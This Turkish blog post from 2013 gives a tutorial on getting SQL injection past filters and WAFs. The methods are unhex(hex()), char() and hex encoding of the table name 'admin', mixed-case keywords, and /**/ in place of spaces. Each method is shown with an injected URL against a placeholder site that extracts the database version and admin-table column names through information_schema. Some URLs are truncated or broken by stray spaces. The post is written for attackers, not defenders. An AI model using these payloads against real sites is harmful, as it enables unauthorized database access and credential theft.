26 Temmuz 2013 Cuma

SQL İnjection Bypass Series

Selamun Aleyküm.

Bu Konuda SQL İnjection Yaparken Kullanabileceğimiz Bazı Basit ama etkili Bypass Yöntemlerinden Bahsedeceğim.

Series:
--unhex(Hex(?))
--Char
--Hex
--Küçük Büyük Harf Önemi - (/**/)

1-unhex(Hex))


Bazen Version çekerken Veya Başka Bir Veri Çekme işlemi uyguladığımızda Yanıt Vermeyebilir.Yani isteğimizi Engelleyebilir.
Bunun için unhex(Hex(?)) şeklinde Veriyi Çekebiliriz.

Örnekle Açıklayalım.


http://www.bypass.com/index.php?id=1...,@@version,4,5

Bu Şekilde Yaptığımızda Hata Verebilir.Yöntemi Uygulayalım.

http://www.bypass.com/index.php?id=1...@version)),4,5

Bu Şekilde Yaparsak Bypass Etmiş Oluruz.

2-Char

Evet Bu Char Olayındaki şey örneğin table_name yazısını Kriptolamak ve Kriptoladığımız yazıyı Char Şeklinde Tanımlamak Diyebiliriz.Örneklendirelim hemen.



http://www.bypass.com/index.php?id=1...p_concat(colum n_name),4+from+information_schema.columns+where+ta ble_name=admin

Burada admin tablosundan kolonları istedik.Ama Kolay kolay vermez.Bunun için bir kaç Yöntemden biri olan Char Fonksiyonunu Gösterelim.

admin in Charlanmış hali 97,100,109,105,110 Şu Şekilde Yapıyoruz.

http://www.bypass.com/index.php?id=1...p_concat(colum n_name),4+from+information_schema.columns+where+ta ble_name=char(97,100,109,105,110)

Byu Şekilde Kullanılıyor.Ama Veri Çekerken Şu Şekilde Olacak.Onuda Gösterelim

http://www.bypass.com/index.php?id=1...here+table_nam e=char(97,100,109,105,110)

Evet Buda Bu Şekilde.

3-Hex

Bu Hex Olayıda Char Fonksiyonuna yakındır.Oda Bir Çeşit Kriptolama Denilebilir.Chardaki Örnek Üzerinde Gösterelim.

http://www.bypass.com/index.php?id=1...p_concat(colum n_name),4+from+information_schema.columns+where+ta ble_name=0x61646d696e

admin i hex formatına çevirdiğimizde 61:64:6d:69:6e şunun gibi çıkar.Çevirdiğiniz Yazılıma göredew değişir.Burada Yapacağımız iştem Boşluk kalmayacak şekilde aralarını silmek ve Başına 0x koymak.Bu şekilde hex olarak Tanımlarız0x61646d696e

.
4-Büyük Harf Önemi -( /**/)

Bazende karakter ve operatör filtrelemeleri vs. olabiliyor.Bu gibi Durumlarda operatörleri büyük harfle yazmak + ları değiştirerek vs bypass edebiliriz.

Başlıktaki Yöntemleri Tek Tek Göstereceğim.Zaten Anlayacaksınız.




Burada Bazı operatorlerin Harflerini Büyülterek bir çeşit Bypass Yapmış Oluyoruz.Biraz İncelersek Anlayabiliriz.



http://www.bypass.com/index.php?id=1...p_CoNcaT(colum n_name),4+fRom+information_schema.columns+where+ta ble_name=char(97,100,109,105,110)


Burada İse + Yerine (/**/)kullandık.*/ , /* gibi kodlar Mysql de yorum başlatmak ve bitirmek için kullanılır.Bizde Bu şekilde Yaparsak bypass etmiş oluyoruz.

http://www.bypass.com/index.php?id=1...s/**/where/**/
table_name=0x61646d696e/**/


Bu Konumuzda Bu Kadar.

Selametle.

Hiç yorum yok:

Yorum Gönder